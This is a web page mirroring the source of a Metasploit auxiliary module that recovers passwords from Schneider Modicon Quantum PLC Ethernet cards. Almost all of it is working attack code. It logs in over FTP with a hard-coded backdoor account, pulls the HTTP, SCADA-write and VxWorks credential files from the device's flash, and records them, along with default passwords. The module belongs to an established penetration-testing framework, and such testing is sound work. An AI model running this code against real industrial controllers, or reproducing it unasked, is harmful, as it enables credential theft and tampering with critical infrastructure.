Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/scada/modicon_password_recovery.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'Schneider Modicon Quantum Password Recovery',12'Description' => %q{13The Schneider Modicon Quantum series of Ethernet cards store usernames and14passwords for the system in files that may be retrieved via backdoor access.1516This module is based on the original 'modiconpass.rb' Basecamp module from17DigitalBond.18},19'Author' =>20[21'K. Reid Wightman <wightman[at]digitalbond.com>', # original module22'todb' # Metasploit fixups23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]28],29'DisclosureDate'=> '2012-01-19'30))3132register_options(33[34Opt::RPORT(21),35OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser'], fallbacks: ['USERNAME']),36OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password'], fallbacks: ['PASSWORD'])37])3839register_advanced_options(40[41OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true])42])4344end4546# Thinking this should be a standard alias for all aux47def ip48Rex::Socket.resolv_to_dotted(datastore['RHOST'])49end5051def check_banner52banner == "220 FTP server ready.\r\n"53end5455# TODO: If the username and password is correct, but this /isn't/ a Modicon56# device, then we're going to end up storing HTTP credentials that are not57# correct. If there's a way to fingerprint the device, it should be done here.58def check59is_modicon = false60vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"61connect rescue nil62if sock63# It's a weak fingerprint, but it's something64is_modicon = check_banner()65disconnect66else67vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"68return Exploit::CheckCode::Unknown69end7071if is_modicon72vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"73return Exploit::CheckCode::Detected74else75vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"76end7778return Exploit::CheckCode::Safe79end8081def run82if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected83print_status("Service detected.")84grab() if setup_ftp_connection()85else86grab() if setup_ftp_connection()87end88end8990def report_cred(opts)91service_data = {92address: opts[:ip],93port: opts[:port],94service_name: opts[:service_name],95protocol: 'tcp',96workspace_id: myworkspace_id97}9899credential_data = {100origin_type: :service,101module_fullname: fullname,102username: opts[:user],103private_data: opts[:password],104private_type: :password105}.merge(service_data)106107login_data = {108last_attempted_at: Time.now,109core: create_credential(credential_data),110status: Metasploit::Model::Login::Status::SUCCESSFUL,111proof: opts[:proof]112}.merge(service_data)113114create_credential_login(login_data)115end116117def setup_ftp_connection118vprint_status "#{ip}:#{rport} - FTP - Connecting"119conn = connect_login120if conn121print_good("#{ip}:#{rport} - FTP - Login succeeded")122report_cred(123ip: ip,124port: rport,125user: user,126password: pass,127service_name: 'modicon',128proof: "connect_login: #{conn}"129)130return true131else132print_error("#{ip}:#{rport} - FTP - Login failed")133return false134end135end136137def cleanup138disconnect rescue nil139data_disconnect rescue nil140end141142# Echo the Net::FTP implementation143def ftp_gettextfile(fname)144vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")145data_connect("A")146res = send_cmd_data(["GET", fname.to_s], nil, "A")147end148149def grab150logins = Rex::Text::Table.new(151'Header' => "Schneider Modicon Quantum services, usernames, and passwords",152'Indent' => 1,153'Columns' => ["Service", "User Name", "Password"]154)155httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')156if httpcreds157print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"158else159print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"160end161ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')162if ftpcreds163print_status "#{ip}:#{rport} - FTP - password retrieval: success"164else165print_error "#{ip}:#{rport} - FTP - password retrieval error"166end167writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')168if writecreds169print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"170else171print_error "#{ip}:#{rport} - FTP - Write password error"172end173if httpcreds174httpuser = httpcreds[1].split(/[\r\n]+/)[0]175httppass = httpcreds[1].split(/[\r\n]+/)[1]176proof = "FTP PASV data socket: #{httpcreds}"177else178# Usual defaults179httpuser = "USER"180httppass = "USER"181proof = "Usual defaults"182end183print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")184logins << ["http", httpuser, httppass]185186report_cred(187ip: ip,188port: rport,189service_name: 'http',190user: httpuser,191password: httppass,192proof: proof193)194195logins << ["scada-write", "", writecreds[1]]196if writecreds # This is like an enable password, used after HTTP authentication.197report_note(198:host => ip,199:port => 80,200:proto => 'tcp',201:sname => 'http',202:ntype => 'scada.modicon.write-password',203:data => writecreds[1]204)205end206207if ftpcreds208# TODO:209# Can we add a nicer dictionary? Revershing the hash210# using Metasploit's existing loginDefaultencrypt dictionary yields211# plaintexts that contain non-ascii characters for some hashes.212# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt213# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,214# and it can be done in just a few lines of ruby.215# See https://github.com/cvonkleist/vxworks_hash216modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]217modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]218else219modicon_ftpuser = "USER"220modicon_ftppass = "USERUSER" #from the manual. Verified.221end222print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")223# The collected hash is not directly reusable, so it shouldn't be an224# auth credential in the Cred sense. TheLightCosine should fix some day.225# Can be used for telnet as well if telnet is enabled.226report_note(227:host => ip,228:port => rport,229:proto => 'tcp',230:sname => 'ftp',231:ntype => 'scada.modicon.ftp-password',232:data => "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"233)234logins << ["VxWorks", modicon_ftpuser, modicon_ftppass]235236# Not this:237# report_auth_info(238# :host => ip,239# :port => rport,240# :proto => 'tcp',241# :sname => 'ftp',242# :user => modicon_ftpuser,243# :pass => modicon_ftppass,244# :type => 'password_vx', # It's a hash, not directly usable, but crackable245# :active => true246# )247print_line logins.to_s248end249end250251252